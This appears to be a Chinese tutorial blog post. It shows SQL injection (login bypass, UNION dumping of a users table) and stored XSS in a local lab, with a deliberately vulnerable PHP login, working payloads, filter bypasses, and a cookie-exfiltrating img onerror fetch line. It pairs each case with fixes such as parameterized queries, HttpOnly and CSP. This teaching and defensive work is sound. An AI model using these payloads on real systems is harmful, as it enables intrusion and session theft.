SQL注入与XSS攻击实战案例解析:从漏洞原理到安全防护
1. 从三个事故现场说起SQL 注入和 XSS 到底怎么“钻”进来的先讲个我实际参与过的场景。某次给一个内部系统做安全巡检开发同学信誓旦旦地说代码用了框架、都是 ORM应该没问题。结果我用一个单引号就把后台登录页打穿了前后没超过十分钟。那个系统的用户表里躺着一万多个真实账号。还有一次是某个带评论功能的小站点一条看似无害的留言让管理员每次打开后台都把自己会话的 Cookie 打了出去。这两个坑分别就是今天要讲的 SQL 注入和 XSS。安全圈里这两个词几乎永远并列出现因为它们常年盘踞在各类漏洞榜单的前排。很多新手一听“注入”“脚本攻击”就觉得高深其实拆开看逻辑很简单攻击者利用了程序对用户输入的过度信任把自己的代码或 SQL 片段“塞”进了本不该由他们控制的位置。SQL 注入钻的是“数据库查询拼字符串”的空子XSS 钻的是“前端输出用户内容不过滤”的空子。两者都是在跟输入输出打交道。这篇文章我会用三个自己复现过的案例讲清楚攻击是怎么一步步来的、为什么能成、事后该怎么修。适合的人群很明确后端开发、前端开发、运维、测试以及刚入门的安全工程师。就算你完全没接触过漏洞测试只要会看一点代码应该也能跟上。2. 动手前的准备五分钟搭一个你想怎么测都行的本地靶场2.1 别拿线上系统练手先搭靶场正规公司做安全测试必须有授权个人学习更是别碰线上系统。我最推荐的方式是本地搭一个微型应用比直接用现成靶场更能看清漏洞本质。下面这个 PHP 文件虽然糙但把 SQL 注入的根因展示得明明白白。// login.php —— 仅供本地靶场学习演示 $conn new mysqli(127.0.0.1, test_user, test_pwd, demo_db); $user $_POST[username]; $pass $_POST[password]; $sql SELECT * FROM users WHERE username $user AND password $pass; $result $conn-query($sql); if ($result $result-num_rows 0) { echo 登录成功; } else { echo 登录失败; }我自己的习惯是装一套本地环境比如 PHP 自带服务器加 MySQL再建一张只有三五个字段的 users 表字段尽量简单id、username、password。建好后你就可以随便折腾了。重点在于这个环境的数据库连接账号只给 SELECT 权限别用 root。虽然是自己玩也要养成权限最小化的习惯。2.2 三个必须先搞清的概念拼接、回显、输出第一个拼接。SQL 注入能成立是因为代码把用户输入直接拼进了查询字符串。你可以把拼 SQL 想象成写快递单收件人地址如果由用户来填填什么就印什么那“门牌号后面加一句‘顺便把门拆了’”也就会被当真。上面那段代码里$user和$pass是从 POST 来的原始字符串没有做任何转义直接塞进 SQL问题就出在这里。第二个回显。SQL 注入要拿到结果往往得看页面有没有把数据库内容“吐”出来。如果页面把查询结果显示出来攻击者就能用UNION SELECT等手法把别表数据也带出来。如果什么都不显示那就只能靠时间盲注或布尔盲注效率低很多。第三个输出。XSS 的核心在于程序是否安全地把用户提交的内容输出到 HTML 页面里。如果评论内容原封不动地放进页面攻击者的script就会被浏览器当成代码执行。这三个词理解到位后面所有案例都是围绕它们展开的。2.3 工具准备我平时手测会准备三类工具浏览器开发者工具看请求和修改参数最方便、一个本地代理抓包工具观察完整请求响应、以及数据库客户端方便查看查询结果。SQL 注入判断注入点我习惯先用最原始的单引号测试再看页面报错或行为差异确认漏洞后再用自动化工具去批量验证。新手建议把第一步手动过程走完别上来就跑扫描器。3. 案例一登录框的一个单引号绕过了整个后台3.1 先复现正常登录流程找注入点某商城系统的后台管理页面管理员登录框长得很普通就是一个用户名加一个密码框。用正确账号登录时后端执行的查询就是我们前面那段代码。我作为安全测试人员第一步不是乱砸 payload而是先看正常请求长什么样。打开浏览器开发者工具的“网络”标签提交一次错误密码的登录请求能清楚看到 POST 过去的数据是usernameadminpasswordwrongpass。拿到这个基线我开始试探在用户名框输入admin密码随便填。提交后页面直接报数据库错误从错误信息里能看到 SQL 语句断在引号那里。这个反应说明输入的单引号没有被转义被原样并进了 SQL——注入点确认。这里有个判断原则让程序报错不是目的目的是通过报错确认输入影响了 SQL 语句结构。如果输入一个引号程序行为和正常时一样那就说明输入没进 SQL 或者被过滤了。3.2 万能密码的逻辑注释掉后半句确认注入点之后构造 payload 就有方向了。目标是让WHERE条件恒为真或者干脆把密码校验那半段“废掉”。我用的第一个 payload 是用户名输入admin --密码随便填。传给后端的 SQL 变成了下面这样SELECT * FROM users WHERE username admin -- AND password wrongpass这里的--是 MySQL 的注释符它后面直到行尾的内容全部被忽略。于是数据库真正执行的判断只剩下usernameadmin密码校验那段被注释掉了。只要存在 admin 这个用户条件就成立直接登录成功。更通用一点的套路是构造恒真条件SELECT * FROM users WHERE username x OR 11 -- AND password wrongpassOR 11让整个 WHERE 条件变成恒真结果就是第一行用户被查出来。很多系统的管理员账号刚好是第一条记录所以这种 payload 常常直接打穿。我实际测试时两种都试优先用注释法因为它更稳定、不受数据里第一个用户是谁的影响。注意整个过程在本地靶场里进行我特意把登录失败和成功的页面差异做了对比确认是通过查询结果跳转的而不是写死的逻辑。如果程序在 PHP 里先判断了输入格式那注入点就不存在了。3.3 修复参数化查询把数据当数据而不是当代码修复这段代码我推荐直接用 PDO 的参数化查询$stmt $conn-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-bind_param(ss, $user, $pass); $stmt-execute(); $result $stmt-get_result();原理在于参数化查询会把 SQL 语句结构提前固定用户输入只作为参数传递而不是拼接进字符串。数据库在解析时已经知道?是参数位置无论你输入什么引号、注释符都只是字符串内容不会改变查询逻辑。这就好比你把快递单的格式模板固定好地址栏再怎么写也不可能把“拆门”变成快递公司的一个标准动作。除了参数化登录接口还需要做几件事数据库账号用最小权限、密码字段存的是哈希值、登录失败有统一提示不暴露 SQL 错误。很多时候开发只补了参数化却忘了关闭数据库错误信息的直接显示这会导致即使查不进数据攻击者也能从报错里拿到表结构信息为下一步联合查询铺路。注意在 PHP 里如果用老掉牙的mysql_real_escape_string做转义防普通注入够用但遇到特殊字符集转换等情况仍可能绕过。与其研究怎么转义不如直接参数化。4. 案例二联合查询注入把整张表拖出来4.1 从数字参数开始探测列数是关键第二个案例来自某学校选课系统的课程列表页。页面上有个价格、热度排序的筛选功能链接形如/course/list.php?id1。这类数字型参数是 SQL 注入的高发区尤其当开发者为了方便直接拼了WHERE id . $_GET[id]。我先请求/course/list.php?id1页面报错注入点成立。接下来要判断当前查询返回几列方法是用ORDER BY一个个试id1 ORDER BY 1 id1 ORDER BY 2 id1 ORDER BY 3 id1 ORDER BY 4到ORDER BY 4时页面报错或行为异常说明查询只返回三列。之所以要探测列数是因为后面UNION SELECT要求前后查询的列数完全一致否则数据库直接报错什么都拿不到。这一步是所有联合注入的分水岭最佳策略不是猜而是从 1 开始逐个递增直到报错为止。4.2 定位回显位置把敏感数据“带到”页面上列数确定是 3 之后我发请求id1 UNION SELECT 1,2,3如果页面正常渲染就看到原本显示课程名称、价格的地方出现了数字 2 和 3说明这两个位置可以作为回显点。接下来就是把目标数据填到这些位置上。我习惯先看当前数据库有哪些表id1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemadatabase()这里的information_schema是 MySQL 内置的元数据库里面记录了所有表、字段信息。当页面把第二个字段渲染出来表名就直接展示在页面上了。找到users表之后再看看它有哪些字段id1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_nameusers最后提取数据id1 UNION SELECT 1,username,password FROM users把 username 和 password 都放到回显位置页面就会把用户表里所有账号密码哈希打印出来。整个过程下来我甚至没用到任何自动化工具单纯通过网页请求就把整张表拖了出来。这里要解释两个关键点为什么UNION SELECT能跨表拿数据因为UNION可以把两次查询结果合并输出只要列数一致、数据类型兼容。为什么用数字占位数字在 MySQL 里兼容性最好换成其他类型可能报类型错误。如果回显位置显示不了字符串我还会试NULLIF、十六进制转换等手段但那是后话。4.3 修复别只修一条 SQL要做纵深防御联合查询注入杀伤力极大因为一旦信息泄露就是整库。修复上我同样先参数化把所有动态查询改成预处理语句$stmt $conn-prepare(SELECT name, price, description FROM course WHERE id ?); $stmt-bind_param(i, $id); $stmt-execute();但对“拖库”这种攻击只修查询语句还不够。纵深防御的意思是每一层都能独立挡住攻击者。我在真实项目中要求四点数据库账号最小权限应用账号只允许访问业务表禁止访问information_schema这样即使注入成功也探不到结构。关闭错误回显display_errorsOff并自定义统一错误页避免把 SQL 片段暴露出来。输入校验数字型参数强转int字符串用参数化URL 长度和字符集也做限制。部署基本 WAF 规则对UNION SELECT、information_schema等特征做拦截至少能挡掉扫描器。有次我只修了参数化忘了处理错误回显重新测试时发现虽然注入失败但报错信息还是会把表名字段名泄露出来居然还能通过报错注入一步步摸到数据。所以说到底安全不能靠单点必须层层设防。5. 案例三一条评论偷走管理员会话5.1 从“无害留言”到弹窗存储型 XSS 的触发链路第三个案例来自某内容管理平台自带的留言板功能。它的评论提交接口很常见用户填昵称、写留言、提交后台把内容存入数据库其他用户和管理员打开页面时再显示出来。XSS 分三种反射型参数直接进页面、存储型存入数据库后展示、DOM 型前端 JS 动态改动页面。这里最危险的是存储型因为它会持续攻击每一个打开页面的访问者管理员中招概率最高。我先正常提交一条评论内容是hello然后在开发者工具里看页面结构发现评论内容被原样嵌入到div idcommenthello/div这种位置。正常提交没问题但要是我提交的不是纯文本呢接下来测试经典的弹窗载荷scriptalert(1)/script提交后打开页面浏览器直接弹窗。这说明程序把用户输入当成 HTML 原样输出了没有转义也没过滤。实际场景里我不可能真的让管理员弹窗来证明危害所以换成了窃取 Cookie 的载荷。5.2 绕过过滤的几种姿势以及窃取会话的完整链路真实系统肯定会对script做点过滤。我总结过几种常用绕过思路其中三种最典型大小写混写ScRiPtalert(1)/ScRiPt如果过滤逻辑是精确匹配小写标签就能绕过去。标签嵌套scrscriptiptalert(1)/script有些过滤是挑出script整体替换为字符嵌套会让清理结果又拼出一个可执行的标签。事件属性img srcx onerroralert(1)不依赖 script 标签图片加载失败时触发异常处理执行脚本。在本地靶场里我构造的窃取载荷长这样img srcx onerrorfetch(http://127.0.0.1:8080/steal?cdocument.cookie)它的逻辑是浏览器加载一个不存在的图片触发 onerror 事件执行一段 JS把当前页面的 Cookie 附加到请求地址后面发送出去。我在本地起一个简易日志监听服务当管理员或任何用户打开这条评论页面时日志里就会出现请求记录里面带着访问者的 Cookie 信息。如果把 Cookie 里的会话标识贴进自己的浏览器就能冒充对方登录——这就是会话劫持。但有一点我必须强调以上操作全在本地靶场环境内演示借助的是自己电脑上运行的监听服务不代表可以拿这套动作去对付任何线上站点。安全测试的边界是授权没有授权就什么都别碰。5.3 修复转义输出只是第一步关键还有 HttpOnly 和 CSP修复存储型 XSS最基础的是输出编码。在 PHP 里用htmlspecialchars可以保证用户内容在 HTML 里只被当作纯文本展示echo htmlspecialchars($comment, ENT_QUOTES, UTF-8);只要、、、被转成实体浏览器就不会把它们解析成标签。但仅做输出转义还不够我还会要求服务端同时做三件事第一加 HttpOnly 标志。在 PHP 里设置session.cookie_httponly1或者设置 Cookie 时带上HttpOnly属性这样document.cookie就读取不到会话标识XSS 即使能执行也偷不到会话。第二设置 CSP 响应头。CSP 就是在响应头里声明“本页面只能加载哪些来源的资源”比如Content-Security-Policy: default-src self执行完这条策略后即使onerror事件被触发浏览器也不会发送请求到http://127.0.0.1:8080/steal外传自然失败。对于大多数业务场景限制脚本和连接来源就能有效掐断数据外带。第三提交侧做内容校验。评论长度限制、昵称字符白名单、富文本场景使用白名单标签解析都能减少恶意载荷进入库里的机会。我个人经验是输出转义是最后一道保险输入过滤是减少噪音真正要尽早做的是 HttpOnly 和 CSP 这类浏览器层面的隔离措施。6. 常见问题与排查技巧实录从报警到修复验证6.1 安全测试和修复中的高频问题速查我在实际工作中整理过一张速查表每次收到安全报警或者做渗透复测都会对照看。现象可能原因排查方向扫描器报了注入手动测却没反应扫描器发了特殊编码页面差异被你忽略了用开发者工具复现完整请求看响应差异或延迟过滤了script还是被绕过只做了标签匹配没处理事件属性和编码检查输出编码是否统一测试 img/iframe 等替代标签加了参数化查询某些功能报错表连接或动态字段排序仍走了字符串拼接全局搜索 SQL 语句中是否有变量直接拼进查询WAF 拦截了正常业务请求规则正则过宽命中常见词如“select”结合白名单放行观察攻击日志里误报规律修复后不知道该测什么缺少回归用例建一版固定测试用例清单覆盖注入、XSS、越权三类6.2 三条最有价值的排查心得第一条不要只看页面要看完整请求链。有时候开发说“修好了”但页面表现没变化。我会开启浏览器开发者工具的断点功能一步步看请求头、参数、响应头确认是不是浏览器缓存的问题。有一次复测注入刷新十几次都没再报错后来发现是换了 CDN 节点请求根本没到达源站自然测不到。第二条从数据库日志验证 SQL 是否还拼变量。参数化查询改完后我在数据库开启通用查询日志提交一次带引号的请求看日志里记录的是不是带?的预处理语句。这个方法非常直观如果日志显示WHERE id ?说明参数化生效如果显示WHERE id 1 or 11说明还有别的地方在拼 SQL。第三条把“修复”理解成“验证闭环”。我给自己定的流程是先记录原始漏洞利用的具体请求修复后用同样请求测试确认不再生效同时换几个变种请求比如 or 11、img onerror、UNION SELECT确认没被绕过最后确认正常业务功能没被误伤。这个闭环走完我才敢在测试报告里写“已修复”。提示很多新手在修复 SQL 注入时只处理了查询入口却忘了存储过程、日志模块、导出功能里可能还有拼接点。最好的做法是全局搜索 SQL 字符串拼接符号和$_GET、$_POST、$_REQUEST的使用处逐一审查再统一参数化。7. 一点个人体会还有几句实在话测试做得多了我越来越觉得 SQL 注入和 XSS 不是“黑客技术”该背的锅它们本质上是开发过程中对数据信任边界没划清楚。代码是程序员写的漏洞也是程序员留的。安全测试员做的事情不过是在系统交付之前把那些没划清的边界一条条找出来罢了。我自己的体会是学攻击手法最有效的路径不是背 payload 列表而是亲手把一个有漏洞的小系统修好。先让它坏再让它好你才能真正理解为什么参数化能防注入、为什么输出转义能防 XSS。这也是我推荐大家搭本地靶场的原因。最后提一个小建议无论你做开发、测试还是运维都该在项目上线前问自己三个问题——用户输入到底会走到哪里数据库的查询有没有可能被改变结构页面输出的内容有没有可能被当成代码执行这三个问题想清楚大部分注入和脚本攻击类问题都能被掐死在摇篮里。

相关新闻

零碳工厂建设标准与源网荷储一体化:智慧能源管理平台落地指南

零碳工厂建设标准与源网荷储一体化:智慧能源管理平台落地指南

1. 零碳工厂建设标准拆解:到底在评什么零碳工厂这个概念,最近两年在制造业里可以说是被问得最多的话题之一。很多企业找我聊的时候,上来第一句话就是:“我们想做零碳工厂,但是零碳工厂建设标准是什么?是不是…

2026/10/18 10:37:45 阅读更多 →
SSM+Vue学生综合素质评价系统:源码部署与答辩改造指南

SSM+Vue学生综合素质评价系统:源码部署与答辩改造指南

简介:压缩包内是一套基于SSM框架和MySQL的高校学生综合素质评价系统,面向计算机相关专业学生,特别适合用于毕业设计或SSM整合开发实践。系统角色分为管理员、学生和教师,功能包括用户登录、学生注册、教师注册、个人中心、修改密码…

2026/10/18 10:37:45 阅读更多 →
400G多模光纤:为何8通道50G比4通道100G更早落地

400G多模光纤:为何8通道50G比4通道100G更早落地

简介:IEEE Std 802.3cm-2020 是 IEEE 发布的以太网修订标准,聚焦多模光纤上 400Gb/s 的物理层与管理参数,面向光通信工程师、数据中心网络架构师及 400G 光模块研发人员。标准新增 Clause 150,定义了 400GBASE-SR8 与 400GBASE-SR…

2026/10/18 10:36:45 阅读更多 →

最新新闻

Vue3组合式API类型注解实战:从setup到ref/reactive的完整指南

Vue3组合式API类型注解实战:从setup到ref/reactive的完整指南

Vue 3 和 TypeScript 的组合,在组合式 API 落地时最不受重视、也最容易被写崩的,恰恰是 setup、props、ref、reactive 这几个核心 API 的类型注解。很多人项目一搭起来就跑,跑着跑着类型全变成 any,最后又回到“运行时才知道挂在哪…

2026/10/18 11:23:03 阅读更多 →
Agent与大模型:从聊天到办事,手把手搭建最小智能体

Agent与大模型:从聊天到办事,手把手搭建最小智能体

最近一年多,我几乎每天都要跟“Agent”这个词打交道。有人把它叫智能体,有人直接喊AI助手,但真正能说清楚Agent和大模型之间差在哪的人,其实不多。大家都能感知到:Chat类产品只能聊天,Agent却能“办事”。同…

2026/10/18 11:23:03 阅读更多 →
从零搭建RAG本地知识库:用检索增强生成根治大模型幻觉

从零搭建RAG本地知识库:用检索增强生成根治大模型幻觉

前段时间我拿一份几十页的内部运维规范文档去问通用大模型:“某个告警的处理时限是多少?”它给了我一个完全合理、语气笃定,但文档里根本不存在的数字,还附带了一段有模有样的流程说明。我翻了半天原文,愣是没找到这一…

2026/10/18 11:23:03 阅读更多 →
电容层析成像图像重建:inversecgls.m 三种算法解析与调参指南

电容层析成像图像重建:inversecgls.m 三种算法解析与调参指南

简介:面向电容层析成像(ECT)研究者的MATLAB算法文件包,聚焦两相流场景下的图像重建逆问题求解。压缩包共1个文件,为inversecgls.m脚本,大小仅1KB,适合快速部署与二次开发。该脚本涵盖最小二乘、…

2026/10/18 11:23:03 阅读更多 →
EasyX图形编程入门:用C语言实现植物大战僵尸课设

EasyX图形编程入门:用C语言实现植物大战僵尸课设

简介:这是一份基于EasyX图形库与标准C语言实现的《植物大战僵尸》简化版游戏源码,专为计算机类专业学生课程设计、大作业及项目入门实践打造,适用于计科、人工智能、物联网等方向的学习者,兼顾零基础入门与进阶二次开发需求。资源…

2026/10/18 11:23:03 阅读更多 →
C#三层架构学生管理系统实战:BLL+DAL+Models解耦设计

C#三层架构学生管理系统实战:BLL+DAL+Models解耦设计

简介:这是一套基于C# Windows平台开发的学生信息管理系统完整源码,面向.NET初学者与三层架构实践者,聚焦数据库应用开发核心能力训练。系统采用标准三层架构(UI/BLL/DAL),集成SQL Server数据库,…

2026/10/18 11:22:03 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →